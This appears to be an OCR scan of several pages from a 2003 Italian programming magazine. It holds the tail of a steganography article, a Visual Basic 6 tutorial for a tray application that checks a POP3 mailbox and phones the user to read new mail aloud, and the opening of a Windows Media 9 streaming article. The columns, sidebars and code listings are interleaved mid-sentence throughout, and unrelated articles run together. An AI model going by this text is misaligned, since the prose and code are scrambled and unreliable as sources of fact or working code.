conto dell’appena citato modo con cui una immagine presentare un’informazione in modo che nei casi pos-
viene memorizzata, tipico del formato bitmap (bmp). sibili si abbiano “scenari simili” si può attuare la ste-
Supponiamo di voler nascondere un byte, ovviamen- ganografia.
te, il discorso si può facilmente generalizzare a più by-
te che possono rappresentare una qualsiasi informa-
zione che sia testuale (che occupa generalmente me- CONCLUSIONI
Soluzioni
no), un’immagine, un suono o altro. Se il byte vale: Dopo una vasta quanto dovuta introduzione, che ci ha
11000011, possiamo “iniettarlo” in una sequenza di comunque consentito di esaminare qualche aspetto
pixel, ad esempio 5, che sono rappresentati con 15 by- pratico, nella prossima puntata avremo modo di ap-
te. Cosicché i dodici byte originari che ad esempio so- profondire l’aspetto maggiormente tecnico attraverso
no: la trattazione di alcuni algoritmi oggi utilizzati. Spero
che l’argomento vi abbia appassionato come è succes-
10011111 10100111 11010100 so a me, e soprattutto spero che possiate leggere que-
00101010 01011101 10000110 ste ultime parole. Come vi avevo consigliato all’inizio,
10001101 01000100 00101010 sta per svelarsi l’arcano mistero. Eccolo. Nel sottotito-
10110100 10001001 00011100 lo è steganografato un messaggio, certo l’averlo rive-
10110010 01001001 11001011 lato non è una mossa che segue i canoni dettati dalle
basilari norme di sicurezza, ma per noi si tratta di un
Supponendo di voler alterare un byte si e uno no (con esercizio, anzi un gioco. Quindi vi invito, anzi vi sfido
intervallo di due byte), che è una variazione difficilis- a decifrarlo.
sima da rilevare, la sequenza dei dodici byte si tra- Aspetto vostre notizie.
sforma come segue: Fabio Grimaldi
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 31
032-038 T&T 31-05-2003 9:56 Pagina 32
T E O R I A E T E C N I C A G G G G G G G G G G G G G
È
ormai assodato che i computer non sono vertimento dei messaggi in arrivo, grazie ad
\soft\codice più solo dei semplici elaboratori di nu- una silenziosa finestra che compare sul desk-
\[Link]
meri, bensì si affiancano – volendo – alla top quando ci sono nuove email e che sparisce
schiera degli elettrodomestici, nel senso che ci cliccandoci sopra o automaticamente dopo
File sul Web permettono di alleggerire la nostra quotidia- qualche secondo. Tutte queste impostazioni
[Link]/ioprog71 nità con le capacità che mettono a disposizio- possono infine essere memorizzate nel registry
/[Link]
ne. In casa mia ormai non c’è più televisione, di Windows, in modo da renderle persistenti e
ma una scheda TV inserita nel PC, non ho più non doverle così rispecificare ad ogni riavvio
lo stereo perché mi basta WinAmp, ascolto la dell’applicazione o della macchina.
radio di [Link], ho buttato guide telefoni-
che e TuttoCittà perché cerco numeri e vie su
INGREDIENTI Internet, e col computer ormai pago anche le
L’applicazione di questo
tasse (è proprio così, persino il fisco ha dovuto
articolo è stata creata con
la seguente configurazione cedere alla rivoluzione informatica!). Detto tut-
to ciò, l’idea di questo articolo è quella di ag-
PC: PIII 1GHz, 512Mb RAM giungere un’ulteriore capacità di utilità quoti-
Richiesto un modem Voice
diana al nostro fedele compagno elettronico:
compatibile UnimodemV
Sistema Operativo: faremo in modo che controlli l’email per noi e
Windows XP Pro SP1 ci avverta quando ci sono dei nuovi messaggi
Software: Visual Basic 6 facendoci… una telefonata al numero che indi-
Enterprise SP5
chiamo!
Microsoft Speech SDK 4.0a
Netpoint ModemTools 1.1 Per fare questo ci avvarremo delle tecnologie
SAPI e TAPI, e vedremo come utilizzare anche
Per Visual Basic è suffi- il system tray nella task bar di Windows, dato
ciente l’edizione Professio-
nal;
che il mio sogno è sempre stato quello di avere
Versioni precedenti o suc- un silenzioso ed invisibile notificatore della
cessive alla 4 dello Speech posta in arrivo senza dover tenere aperta
SDK non sono state testate un’intera finestra come quella di Outlook Ex-
e probabilmente non fun-
zionerebbero;
press o simili. Ma scendiamo un po’ meglio nei
ModemTools è scaricabile dettagli del lavoro che andremo a svolgere in-
dal sito [Link] sieme.
in versione trial per 30
giorni.
32 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
032-038 T&T 31-05-2003 9:56 Pagina 33
E E E E E E E E E E E E E T E O R I A E T E C N I C A
Sistema
mo pulsante (“Salva come default”) memorizza
la configurazione attuale nel registry, cosicché
Fig. 2: Il form dei messaggi. ad avvii successivi l’applicazione inizierà di-
rettamente il suo compito principale senza pas-
sare per la finestra di configurazione, la quale TAPI Mail
Per quanto riguarda l’interfaccia grafica, essa è richiamabile quando si desidera cliccando Checker: il PC
consta di tre form: il primo (nella Fig. 1) è quel- semplicemente sull’icona del TAPI Mail Checker ci telefona!
lo che viene utilizzato per configurare l’appli- nel tray.
cazione e personalizzarla, oltre ad essere il Per quello che concerne la fase di verifica, il
punto in cui viene tenuto tutto il codice di con- programma controlla la casella di posta ogni
trollo della posta ed invio delle notifiche, il se- tot minuti in base alla configurazione, e se vi
condo (in Fig. 2), invece, è un semplice pop-up sono dei messaggi viene visualizzata una fine-
che appare quando è arrivata della nuova po- stra di avvertimento che scompare dallo scher- System
sta o per segnalare in maniera poco fastidiosa mo dopo alcuni secondi. Sempre in base alle Registry
Il registro di sistema
alcuni eventi o errori all’utente, mentre il terzo impostazioni dell’utente, è possibile che ogni di Windows è un file
(in Fig. 3) permette di configurare i parametri tot controlli venga iniziata anche la procedura con estensione .dat che
della speech engine e del modem utilizzati per di notifica, che prevede la lettura via telefono contiene una serie cospi-
notificare tramite telefono. delle informazioni essenziali su ogni messag- cua di informazioni sul si-
stema, sia a livello softwa-
gio (oggetto e mittente). re che – in certa misura –
Arrivato al punto di aver definito con chiarez- hardware. Oltre a questo,
za quello che intendo fare, di solito passo ad ogni applicazione che gira
sotto il sistema operativo,
approfondire o acquisire conoscenze relative
può aggiungere attributi a
agli strumenti che mi permetteranno di imple- tale registry principalmen-
mentare le specifiche che mi sono dato. Pro- te con l’obiettivo di persi-
pongo anche a voi questo tipo di percorso, per stere una parte o tutta la
sua configurazione, in mo-
cui affronteremo ora un breve viaggio per
do da averla sempre a di-
quelle funzioni, quei controlli e quelle tecniche sposizione anche dopo il
Fig. 3: Il form delle opzioni “avanzate”. che – messi insieme e combinati in vari modi – riavvio della macchina.
ci porteranno alla realizzazione del nostro pro- Tutti i dati memorizzati in
questo repository sono or-
getto.
ganizzati secondo una
Passeremo adesso ad un’analisi del codice ap- struttura gerarchica ad al-
plicativo e dei vari passaggi che hanno portato bero: l’elemento finale è
alla creazione di questo software, ma prima de- NOZIONI PROPEDEUTICHE: sempre una coppia di no-
dichiamoci a capire come funzionerà nel com- SYSTEM REGISTRY me attributo e valore attri-
buto, ma tale elemento
plesso il “prodotto finale” (è sempre più sem- Tutte le applicazioni Windows hanno il “dirit- può essere contenuto al-
plice scrivere il codice quando a priori si è già to” di memorizzare informazioni necessarie al- l’interno di una struttura
fatto uno studio approfondito di questo tipo). la propria esecuzione nel registry (vedi Box Sy- più o meno complessa di
“cartelle” simili a quelle
stem Registry) e Visual Basic offre una coppia di del file system. Lo scopo di
metodi molto semplici da utilizzare che ci con- tale gerarchizzazione è
FUNZIONAMENTO sente di salvare e recuperare dei valori da que- l’ordine!
DELL’APPLICAZIONE sto calderone di attributi. Per chi ha memoria che va
tanto indietro, il registry
All’avvio del programma verifichiamo se sono Per il salvataggio dei dati si utilizza SaveSet- ha sostituito e rappresenta
stati già salvati i parametri di configurazione ting, che richiede, nell’ordine, un nome identi- un’estensione del concetto
nel registry di Windows. Se non è così, viene ficativo dell’applicazione, un nome di sezione, di file .ini tanto in voga con
le versioni più vecchie di
visualizzato il form principale, in cui l’utente il nome dell’attributo ed il valore associato:
Windows. Se volete dare
setta le sue preferenze sulla frequenza del con- tutti valori di tipo String. un’occhiata al vostro regi-
trollo e i dati per l’accesso al server POP3. Tra- Se dovete invece recuperare un’informazione, stro di sistema, utilizzata
mite un pulsante (“Opzioni TAPI/SAPI”) è pos- utilizzate GetSetting: dati il nome dell’applica- l’applicazione [Link]
(sotto <win-dir>) o re-
sibile accedere alle opzioni voce e modem, che zione, della sezione e dell’attributo, il metodo
[Link] (sotto <win-
rappresentano solo un’estensione della pagina vi restituirà il valore corrispondente; se l’attri- dir>/system32).
principale (per non fare un’unica finestra trop- buto non esiste, troverete una stringa vuota, a
po grossa, insomma!). meno di aver passato al metodo un ulteriore
Con il pulsante “Esci” si esce definitivamente parametro opzionale che rappresenta il default
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 33
032-038 T&T 31-05-2003 9:57 Pagina 34
T E O R I A E T E C N I C A G G G G G G G G G G G G G
USER myuser
Private Const NIM_ADD = &H0
in cui myuser è il vostro Private Const NIM_MODIFY = &H1
nome utente. Se il server Private Const NIM_DELETE = &H2
risponde positivamente
(tutte le risposte positive
iniziano con un +), gli
mentre ecco la dichiarazione della struttura da-
diamo la password con: ti da passare come secondo parametro:
Fig. 4: L’aggiunta dei controlli necessari per
PASS mypass Private Type NOTIFYICONDATA l’applicazione e la palette di Visual Basic con il
cbSize As Long controllo aggiuntivo WinSock ed i controlli extra
dopodiché siamo connes- TextToSpeech e ModemPhone.
hWnd As Long
si alla nostra mailbox.
uId As Long
uFlags As Long Però in questo caso – forse data l’importanza
ucallbackMessage As Long dell’argomento – viene fornito un controllo ag-
hIcon As Long giuntivo, presente nelle edizioni Professional
szTip As String * 64 ed Enterprise del prodotto, che ci permette di
End Type aprire e gestire dei socket per comunicare con il
mondo esterno. Tale controllo si chiama Win-
Il primo elemento (cbSize) è solo la lunghezza Sock ([Link]) e va aggiunto esplicitamen-
della struttura – basta calcolarla con Len(varia- te alla palette dei componenti tramite il menu
bile). L’elemento hWnd è l’handle della finestra Project/Components… (vd. Fig. 4). Il suo funzio-
da associare all’icona nel tray: l’handle di un namento è completamente asincrono, il che si-
34 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
032-038 T&T 31-05-2003 9:57 Pagina 35
E E E E E E E E E E E E E T E O R I A E T E C N I C A
gnifica che noi inviamo dei dati e la risposta ci che abbiate già installato lo Speech SDK. Del
ritorna tramite eventi dell’oggetto. Non è pro- controllo di voice a noi interessa la capacità di
prio l’ideale per la comunicazione con un ser- leggere una stringa (tramite il metodo Speak),
ver POP3, ma ci arrangeremo! Bisogna impo- che è asincrono, e di essere avvisati quando la
stare il nome dell’host e la porta per stabilire stringa è stata letta completamente e quindi
una connessione con il server, cosa che si può l’engine ha finito di parlare (evento Speaking-
Sistema
fare o tramite le proprietà RemoteHost e Remote- Done). Inoltre, sono importanti i metodi che ci
Port di WinSock, per poi invocarne il metodo permettono di conoscere le engine installate e
Connect senza parametri, oppure invocando di- di selezionarne una: CountEngines ci dà il nu-
rettamente Connect con due parametri che sono, mero totale di quelle presenti, ModeName pren-
appunto, host e porta. Una volta connessi al ser-
ver, l’evento DataArrival viene lanciato ogni
de un intero che è l’indice di un engine di cui
restituisce il nome testuale, mentre CurrentMo-
TAPI Mail
Checker: il PC
qual volta riceviamo dei dati: nella gestione di de è una proprietà che restituisce l’indice del- ci telefona!
questo evento il metodo GetData ci dà accesso l’engine attiva o permette di impostare l’indice
ai dati ricevuti, ponendoli in una variabile che di una nuova engine da utilizzare.
passiamo come parametro. Il metodo SendData, Passiamo adesso invece a ModemPhone: con
al contrario, ci permette di continuare la nostra questo oggetto ci viene data la possibilità di
conversazione telematica inviando nuove ri- gestire i servizi messi a disposizione da TAPI
chieste al server. In tutto questo, dovesse verifi- in maniera veramente intuitiva, anche se non
carsi un errore viene lanciato l’evento Error. Ri- sempre è facile configurare il proprio modem
cordatevi che è sempre buona norma chiudere per l’uso con il prodotto. Ai nostri fini ci sono
un socket con il metodo Close quando avete ter- utili due metodi di impostazione: da un lato il Il protocollo
minato di colloquiare con il server. Infine, l’og- settaggio del’ID di località (CurrentLocationID) POP3
getto WinSock può anche ovviamente essere per specificare al controllo da dove viene effet- Il comando STAT ci
usato per creare dei server socket (si invoche- tuata la chiamata (si tratta delle località create fa avere un
rebbe il metodo Listen invece di Connect), ma con il pannello di controllo di Windows in resoconto dei messaggi
presenti, in questa forma
questo non è il nostro caso. “Opzioni Modem e Telefono”), dall’altro invece
abbiamo OpenModem con cui possiamo selezio- +OK 2 680
nare uno dei modem installati sul PC. Il con-
NOZIONI PROPEDEUTICHE: trollo dà anche la possibilità di interrogare il si- che significa che ci sono
TELEFONIA E VOCE stema operativo per chiedere un elenco delle 2 messaggi per un totale
di 680 byte. Se voglio
La parte sicuramente più avant-guarde del località e dei modem disponibili (NumberOfLo- leggere un messaggio lo
progetto cui ci stiamo dedicando è il far sì che cations insieme a GetLocationName, e NumberOf- recupero con
il computer ci telefoni per leggerci le email. Per Modems insieme a GetModemName). Ma la vera
poter mettere questo in atto dobbiamo fare ri- chicca è il metodo MakeCall, con cui facciamo RETR 1
corso alle tecnologie SAPI (Speech API) e TAPI telefonare il nostro computer. I parametri ri-
in cui 1 è il numero ordi-
(Telephony API). Per quanto riguarda la prima, chiesti sono il codice nazionale, il codice di di- nale del messaggio. Il
utilizzeremo il Microsoft Speech SDK nella sua stretto (il prefisso, per farla breve) e il numero server mi risponde in-
versione 4, che contiene un controllo ActiveX dell’abbonato, seguito da un valore booleano viandomi il solito +OK
che ci renderà più semplice l’uso delle funzio- che specifica se utilizzare o meno le regole di seguito dal messaggio –
al termine del messaggio
nalità vocali in Visual Basic. Relativamente al composizione della località attiva. Anche que- segue un “.” da solo su
TAPI, invece, andremo ad adoperare un Acti- sto metodo è asincrono, un po’ come i socket di una riga. Per cancellare i
veX prodotto da NetPoint e scaricabile in ver- WinSock, per cui quando la chiamata è stata messaggi usate:
sione trial dal loro sito (è un po’ fastidioso il piazzata viene lanciato l’evento Connected,
DELE 1
messaggio di avviso dei giorni mancanti alla mentre se si verificano dei problemi si ha l’e-
scadenza della prova, ve lo devo confessare). vento Error. Per interrompere la telefonata pos- in cui 1 è lo stesso or-
Come tutti i controlli ActiveX esterni al pro- siamo riagganciare l’apparecchio con HangUp, dinale che si usa con
dotto, questi vanno dichiarati a parte (l’avete mentre riceviamo l’evento Disconnected se ad RETR. Questo è l’essen-
già fatto per WinSock, vi ricordate?). Si tratta attaccare il telefono è il nostro interlocutore! ziale! Ma se volete cono-
scere tutti i comandi a
di TextToSpeech di Microsoft e ModemPhone di Adesso che sappiamo far parlare il nostro PC e disposizione, la cosa mi-
NetPoint. Il primo consente di far parlare il siamo in grado di fargli fare una telefonata at- gliore è fare riferimento
computer: data una stringa il PC la leggerà, a traverso il modem, ci dobbiamo chiedere come alle specifiche del proto-
collo, dettagliate nel RFC
patto di aver installato l’engine per la lingua in farlo parlare al telefono! Nulla di più sempli-
1939.
cui è scritto il testo. Esistono engine per diver- ce… da una parte TextToSpeech è in grado di
si idiomi (tra cui l’italiano) scaricabili dal sito emettere la propria voce in un qualunque ca-
Microsoft all’indirizzo [Link] nale wave della macchina, mentre i modem
/msagent/downloads/[Link]#tts – sono gratuiti con capacità di voce sono associati ad un wave
anche se la qualità non è eccezionale. Chiara- device. L’evento Connect del modem ci passa
mente l’installazione dell’engine presuppone come parametro in ingresso l’id del wave device
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 35
032-038 T&T 31-05-2003 9:58 Pagina 36
T E O R I A E T E C N I C A G G G G G G G G G G G G G
a cui il modem è connesso, e a noi non resta vbCrLf & "location e/o speech engine."
che far utilizzare all’engine vocale tale device & vbCrLf & "Usa le Opzioni per correggere
attraverso la proprietà Device di TextToSpeech, il problema!"
che prende appunto l’identificativo di una ca- [Link]
nale wave. Finalmente siamo pronti per comin- Else
ciare a dar vita alla nostra idea! [Link]
End If
Sistema LA CREAZIONE
On Error GoTo 0
If chkCheckOnStart Then
DELL’APPLICAZIONE CheckMail
Dopo aver dato uno sguardo alle nozioni di cui End If
TAPI Mail ci avvarremo per questo progetto, è ora di met- End If
Checker: il PC
tere insieme i vari pezzi. Il cuore del nostro End Sub
ci telefona!
programma sarà il form di configurazione
(quello di Fig. 1): è lì che avremo tutto il codi- Private Sub Form_Unload(Cancel As Integer)
ce di controllo della posta ed invio delle notifi- Dim strError As String
che. Il trucco, per rendere l’applicazione invisi- If Not bExit Then
bile, sta nel rendere il form (che si chiama frm- strError = ValidateFields
TapiMailChecker) sempre nascosto, di modo che If strError <> "" Then
l’unico punto di contatto con il nostro software MsgBox strError
sarà l’icona nel tray: tra l’altro questa è l’unica Else
soluzione viabile, in quanto le icone del tray cntCheck = 0
devono sempre essere associate ad una fine- cntNotify = 0
stra, anche se invisibile. Come abbiamo detto, [Link] = True
se sul registry sono già presenti i dati per la [Link]
configurazione del Checker, è inutile annoiare If chkCheckOnStart Then
l’utente con il form principale: l’evento Load CheckMail
della maschera quindi ci servirà per effettuare End If
questa verifica e nascondere eventualmente la End If
finestra prima ancora che venga mostrata. Cancel = True
Checker
Se sul registry sono End If
già presenti i dati Listato 1: Load e Unload del form pincipale End Sub
per la configurazione del
Checker, è inutile annoia-
Private Sub Form_Load() Nel codice di questo evento (listato 1) ci occu-
re l’utente con il form
principale: l’evento Load bExit = False piamo anche di creare l’icona del system tray. È
della maschera quindi ci Set theIcon1 = LoadResPicture("STANDBY", vbResIcon) interessante anche il codice dell’evento di Un-
servirà per effettuare Set theIcon2 = LoadResPicture("ALERT", vbResIcon) load (sempre nel listato 1), in cui facciamo in
questa verifica e nascon-
cntCheck = 0 modo che l’utente non possa uscire dall’appli-
dere eventualmente la fi-
nestra prima ancora che cntNotify = 0 cazione se non premendo l’apposito pulsante
venga mostrata. chkPhoneCall_Click “Esci”: tale pulsante pone a True il flag bExit, il
[Link] = False quale permette nel metodo Form_Unload che la
TrayNoMail finestra venga chiusa, mentre normalmente noi
Shell_NotifyIcon NIM_ADD, sysTray la nascondiamo solamente. In questo metodo,
If GetSetting(APP_NAME, POP3, "hostname") <> "" Then poi, come anche nel metodo di click sul pulsan-
[…] te “Salva come default”, troviamo la chiamata al
txtUsername = GetSetting(APP_NAME, POP3, metodo ValidateFields, che si assicura del cor-
"username", "") retto inserimento dei dati nel form e, in caso di
txtPassword = GetSetting(APP_NAME, POP3, errori, prepara una stringa descrittiva dei pro-
"password", "") blemi riscontrati utilizzata dai metodi chia-
[…] manti tipicamente per mostrare una message
On Error Resume Next box di avvertimento. Il form delle opzioni più
[Link] = GetSetting(APP_NAME, OCX, avanzate (quello di Fig. 3) svolge – nell’evento
"speechEngine", 0) di Load – il compito di riempire le combobox
[Link] GetSetting(APP_NAME, OCX, per la scelta dell’utente: questo codice e quello
"modem", 0), False, False del pulsante di “OK” (li trovate nel listato 2)
[Link] = sono esempi di come recuperare una lista delle
GetSetting(APP_NAME, OCX, "location", 0) location, delle speech engine e dei modem pre-
If [Link] <> 0 Then senti sul vostro sistema, e di come configurare
MsgBox "Errore nel settaggio di modem," & il controllo ActiveX di TextToSpeech affinché usi
36 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
032-038 T&T 31-05-2003 9:58 Pagina 37
E E E E E E E E E E E E E T E O R I A E T E C N I C A
Sistema
Private Sub cmdOK_Click()
[Link] =
[Link] + 1
[Link] Fig. 5: L'editor di risorse per includere le icone
nel progetto compilato da Visual Basic.
[Link], False, False
[Link] =
TAPI Mail
Checker: il PC
[Link] questo ideale che fosse realizzabile in Visual ci telefona!
[Link] = Basic in maniera semplice e veloce è quella di
[Link] un form senza titolo e bordi (ControlBox=False
[Link] = e Caption=””) che viene visualizzato a centro
[Link] schermo e si chiude con un semplice click
Unload Me ovunque nella finestra o automaticamente da
End Sub solo dopo una manciata di secondi (che io ho
stabilito essere 15). Ho aggiunto a questo form
Private Sub Form_Load() tre metodi pubblici per settare un titolo (SetTi-
Dim i As Long tle), un messaggio (SetMessage) ed un “sotto-
Dim str As String messaggio” lampeggiante (NotifyOn): ciascuno
[Link] ([Link] - [Link]) / 2, dei metodi resetta il timer per la chiusura del- Timer
Il controllo timer
([Link] - [Link]) / 2 la finestra, in modo tale che l’ultima informa- presente in frmTapi-
For i = 1 To [Link] zione impostata è comunque sempre visibile MailChecker è il principio
str = [Link](i) per almeno 15 secondi. Un ulteriore controllo di tutto: viene eseguito
ogni minuto e stabilisce
[Link] str timer sul form è servito per l’effetto lampeggio
se è giunto il momento
Next (un semplice Visible = Not Visible della label in di controllare il server
[Link] = questione) ed infine un quarto metodo pubbli- POP3, cioè se è già tra-
[Link] - 1 co (NotifyOff) nasconde e termina il lampeggio scorso il numero di mi-
nuti indicato dall’utente,
For i = 0 To del sotto-messaggio. Giunti a questo punto, tramite il contatore cnt-
[Link] - 1 non resta altro che addentrarci nel codice forse Check.
'If ([Link](i) più importante dell’applicazione: la procedura
And 1) <> 0 Then di controllo della posta ed invio della chiama-
[Link] ta di notifica.
[Link](i)
'End If
Next IL CUORE
[Link] = DEL PROGRAMMA
[Link] Il controllo timer presente in frmTapiMailChe-
For i = 0 To cker è il principio di tutto: viene eseguito ogni
[Link] - 1 minuto e stabilisce se è giunto il momento di
[Link] controllare il server POP3, cioè se è già trascor-
[Link](i) so il numero di minuti indicato dall’utente, tra-
Next mite il contatore cntCheck. Se è così, invoca la
[Link] = procedura CheckMail, che gestisce il controllo e
[Link] la notifica. A sua volta, CheckMail verifica se è
End Sub giunto il momento di inviare un’eventuale no-
tifica via telefono (contatore cntNotify) e se è
Lo stesso codice di impostazione dei controlli così setta un flag (bNotify) utilizzato successi-
ActiveX di voice e modem lo ritrovate anche vamente, dopodiché tenta la connessione al
nel metodo Form_Load del form principale, in server POP3 utilizzando WinSock. Come ricor-
cui gli OCX vengono configurati in base alle derete, il controllo WinSock di Microsoft è asin-
eventuali informazioni lette nel registry. Per
quanto riguarda la terza maschera, quella di
Fig. 2, la mia intenzione era di avere una fine-
stra riutilizzabile con un comportamento di- Fig. 6: L'icona nel system tray quando non ci
screto e silenzioso: la soluzione più vicina a sono nuovi messaggi.
h t t p : / / w w w. i t p o r t a l . i t L u g l i o / A g o s t o 2 0 0 3 GGG 37
032-038 T&T 31-05-2003 9:58 Pagina 38
T E O R I A E T E C N I C A G G G G G G G G G G G G G
crono, per cui riceveremo la risposta al tentati- Una volta che la chiamata è piazzata e la voce
vo di connessione e qualunque altro dato dal elettronica inizia a leggere il messaggio, ci in-
server nell’evento DataArrival. È infatti lì che si teressano solo due possibilità: la prima è che la
sposta ora la nostra attenzione, perché lì si tro- voce termini di parlare e quindi noi disconnet-
va il resto del codice di questa fase e questa tiamo la telefonata (evento SpeakingDone di
asincronicità è anche il motivo per il quale TextToSpeech), la seconda è che invece sia l’u-
Sistema
dobbiamo fare ricorso a flag globali quali bNo- tente ad attaccare il telefono prima che la voce
tify menzionato poc’anzi – essi, essendo globa- termini, nel quale caso noi interrompiamo la
li, ci consentono di passare informazioni tra il voce (evento Disconnected di ModemPhone).
normale flusso d’esecuzione dell’applicazione E con questo l’applicazione ha terminato il suo
TAPI Mail ed il flusso asincrono iniziato dal socket. Di lavoro, fermo restando il ricominciare tutto da
Checker: il PC queste variabili di passaggio una molto impor- capo al prossimo scadere del tempo scelto nel
ci telefona! tante è popState, che mantiene lo stato conver- form di configurazione!
sazionale con il server di posta, permettendoci
così di gestire le varie fasi della comunicazione
secondo il protocollo POP3 (vedi box Il proto- RINGRAZIAMENTI
collo POP3): a seconda del comando inviato al E RACCOMANDAZIONI
gestore dell’email, la variabile conterrà un va- L’applicazione fornita insieme all’articolo è un
lore diverso, di modo che nel metodo DataAr- punto di partenza dal quale possono nascere
rival, consultando tale valore, siamo in grado cose molto interessanti, complesse e creative:
di interpretare correttamente la risposta del spero che vi serva da stimolo per approfondire
server. Dopo le formalità di connessione ed au- la conoscenza degli argomenti cui abbiamo ac-
tenticazione (stati POP3_Connect, POP3_USER cennato, e soprattutto per creare qualcosa di
e POP3_PASS), si entra nel vivo della procedu- più utile per voi stessi.
ra. Se con il comando STAT scopriamo che ci Durante lo sviluppo di questo progetto natu-
sono dei messaggi nella casella email scelta ralmente mi sono avvalso di innumerevoli fon-
dall’utente, viene aperta la finestra di messag- ti ed aiuti: un ringraziamento speciale ai grafi-
gio frmMessage con un’indicazione adeguata. ci delle edizioni Master che hanno creato le ico-
Inoltre viene verificato il valore del flag di no- ne utilizzate per il tray e per l’applicazione –
tifica bNotify, perché se è True significa che sono molto carine, vero? Poi devo molto al pro-
SpokenMsg
La variabile spoken-
dobbiamo anche effettuare una chiamata per getto allegato a questo link: [Link]
Msg deve essere leggere l’oggetto dei vari messaggi. .com/winsock/winsock_mail_checker_01.asp, per-
globale perché anche ché contiene la classe CMessage che mi ha ri-
l’oggetto ModemPhone
sparmiato molta codifica a mano per il parsing
funziona in modo asin-
crono e ci avverte che la dei messaggi SMTP.
telefonata è stata inol- Al link indicato trovate un interessante artico-
Fig. 7: L'icona nel system tray quando sono
trata con l’evento Con- lo su come consultare un server di posta e link
presenti nuovi messaggi sul server.
nected, nel cui codice fa-
ad articoli precedenti che spiegano brevemen-
remo in modo che venga
“letto” il messaggio sulla Quindi, se non è necessario notificare l’utente, te, ma in maniera chiara, il protocollo POP3 e il
connessione telefonica. viene chiusa subito la comunicazione con il formato dei messaggi SMTP.
server e il nostro compito, per questa volta, è Infine, un tale “MidiSurf 1999 audioware@hot-
terminato. In caso contrario, inviamo una se- [Link]” ha scritto una classe per aggiungere
quenza di RETR per recuperare tutti i messag- funzionalità di accesso al system tray in pro-
gi presenti e memorizzarli in una collection getti Visual Basic ed io l’ho utilizzata come ba-
personalizzata (CMessages). se per il mio codice (pur stravolgendo un po’
Fatto questo, componiamo una stringa (spoken- l’obiettivo originale dell’autore!): il file di que-
Msg) con il messaggio d’avviso da “leggere” sta classe non è utilizzato nel progetto di que-
via telefono: per ogni email sono indicati all’u- sto articolo, ma è comunque presente sul CD
tente il mittente e l’oggetto. qualora foste curiosi di studiarlo un po’.
La variabile spokenMsg deve essere globale per-
ché anche l’oggetto ModemPhone funziona in
modo asincrono e ci avverte che la telefonata è CONCLUSIONI
stata inoltrata con l’evento Connected, nel cui Ed anche per questa volta siamo arrivati al ter-
codice faremo in modo che venga “letto” il mine: fateci sapere se portate avanti lo svilup-
messaggio sulla connessione telefonica (meto- po del progetto e apportate delle migliorie o
do Speak di TextToSpeech): quindi la stringa da modifiche che volete condividere con noi.
leggere viene creata in sck_DataArrival, ma vie- A presto!
ne passata al voice engine in phone_Connected. Federico Mestrone
38 GGG L u g l i o / A g o s t o 2 0 0 3 h t t p : / / w w w. i t p o r t a l . i t
040-044 Streaming 31-05-2003 10:02 Pagina 40
T E O R I A E T E C N I C A G G G G G G G G G G G G G
La TV in una pagina
WEB? Ora è possibile!
Multimedia In questo articolo analizzeremo nostre applicazioni:
gli strumenti messi a disposizione
dalle librerie Windows Media 9 • Microsoft Windows Media Encoder 9 Series
• Microsoft Windows Media Encoder 9 Series SDK
per creare applicazioni che
• Microsoft Windows Media Player 9
effettuino il broadcast di
contenuti audio/video su Analizziamo in dettaglio i suddetti componenti:
internet. Impareremo a
comprendere quali componenti Microsoft Windows Media Encoder 9 Series
sono necessari per ottenere un rappresenta l’encoder di base, che permette di cattu-
rare contenuti Audio/Video, salvandoli su supporto
broadcast di contenuti catturati
fisico o effettuandone la pubblicazione, mediante
da una WebCam e come si possa broadcasting. Questo componente rappresenta, di fat-
effettuare la trasmissione di to, il cuore del sistema di codifica e permette di sele-
contenuti serializzati sul disco, zionare più sorgenti audio/video ed altrettante desti-
per esempio di un file MP3. nazioni. E’ possibile, ad esempio, effettuare un broad-
casting di una riunione aziendale, oppure diffondere
notizie sul traffico o semplicemente musica.
Microsoft Windows Media Encoder 9 Series SDK
File sul CD
A
lzino la mano quanti di voi non hanno mai questo SDK permette a sviluppatori C++, Visual Basic
\soft\codice\[Link] pensato ad una televisione i cui contenuti sia- 6.0, Visual Basic Script, di catturare contenuti multi-
no distribuiti su internet… la trasmissione di mediali codificandoli in un file Windows Media o in
File sul Web contenuti multimediali su Internet, e più in generale uno stream. L’SDK si compone di un certo numero di
[Link]/ su di una rete LAN/WAN, è da sempre uno degli ar- Dinamic Link Library, di un help esaustivo e di un
ioProg71/[Link] gomenti che riscuote la maggiore curiosità tra profes- congruo numero di esempi. Questa tecnologia può es-
sionisti e hobbisti dell’informatica. Il punto dolente è sere impiegata per scopi di sorveglianza, monitorag-
sempre stato rappresentato, e comunque lo sarà anco- gio del traffico, broadcasting di informazioni, video-
ra per un po’ di tempo, dalla povertà di larghezza di conferenze e quant’altro abbia a che fare con la cattu-
banda, che inficia la godibilità di un contenuto au- ra e la diffusione o il salvataggio di un contenuto au-
dio/video trasmesso in streaming. Oggi però, grazie dio/video.
Windows Media all’aumento di banda con le connessioni ADSL, l’at- Microsoft Windows Media Player 9
La tecnologia Win- tenzione riservata ai mezzi telematici è salita, facendo penso che il Windows Media Player non necessiti di
dows Media è molto
innalzare anche le aspettative degli utenti, che ora co- presentazioni. Esso rappresenta il dispositivo propo-
vasta ed interessante e
per di più è divertente! minciano a desiderare di avere a disposizione dei con- sto da Microsoft per la consumazione di contenuti
Sul sito tenuti multimediali fruibili su internet. Poteva Micro- multimediali su PC, siano essi dei CD musicali, video
[Link] soft restare a guardare? Certo che no! Ecco allora che o contenuti streamed.
potrete trovare spunti
interessanti per le vostre
da poco Microsoft ha rilasciato Windows Media 9 Se-
applicazioni. Questo è ries SDK, che continuando la strada del suo predeces-
inoltre il sito di riferi- sore, promette meraviglie. WINDOWS MEDIA
mento per scaricare SDK
e documentazione varia.
ENCODER 9
Il primo componente che esaminiamo è forse anche il
Per un’introduzione più
COS’E WINDOWS MEDIA 9 più interessante dal punto di vista della programma-
“commerciale” sulla tec- SERIES SDK? zione. Windows Media Encoder (WME) infatti si occu-
nologia Windows Media
Windows Media Series 9 SDK (WMSDK) è un softwa- pa di codificare i contenuti multimediali in file, oppu-
andate all’indirizzo
